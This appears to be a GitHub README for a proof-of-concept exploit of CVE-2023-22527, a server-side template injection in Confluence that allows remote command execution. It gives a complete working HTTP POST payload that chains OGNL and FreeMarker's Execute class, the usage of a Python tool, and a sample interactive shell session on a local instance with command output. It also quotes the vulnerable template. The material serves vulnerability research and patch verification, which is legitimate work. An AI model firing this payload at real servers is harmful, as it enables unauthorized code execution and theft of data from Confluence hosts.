vozec/cve-2023-22527Proof-of-concept exploit for CVE-2023-22527, a server-side template injection in Confluence that enables remote code execution. Includes a Python script for command execution and interactive shell.
This repository presents a proof-of-concept of CVE-2023-22527
This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on confluence instances they don't own.
This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it.
CVE-2023-22527 refers to an ServerSide template injection vulnerability in freemarker engine that allows users to execute command on the webserver.
Here's an example payload
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]
This is a POC for CVE-2023-22527 (Confluence SSTI)
options:
-h, --help show this help message and exit
-u URL Url
-c COMMAND Command
-i Interactive mod
python3 CVE-2023-22527.py -u http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x 1 root root 4.0K Jan 20 16:15 ..
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r----- 1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r-- 1 confluence confluence 1 Jan 23 08:13 docker-app.pid
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r----- 1 confluence confluence 0 Jan 23 08:37 lock
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x--- 5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r----- 1 confluence confluence 860 Jan 23 08:42 synchrony-args.properties
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x--- 2 confluence confluence 40K Jan 23 08:46 webresource-temp
The vulnerability is located in the file below: ./confluence/confluence/template/aui/text-inline.vm
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end
#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end
<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>
#parse("/template/aui/text-include.vm")
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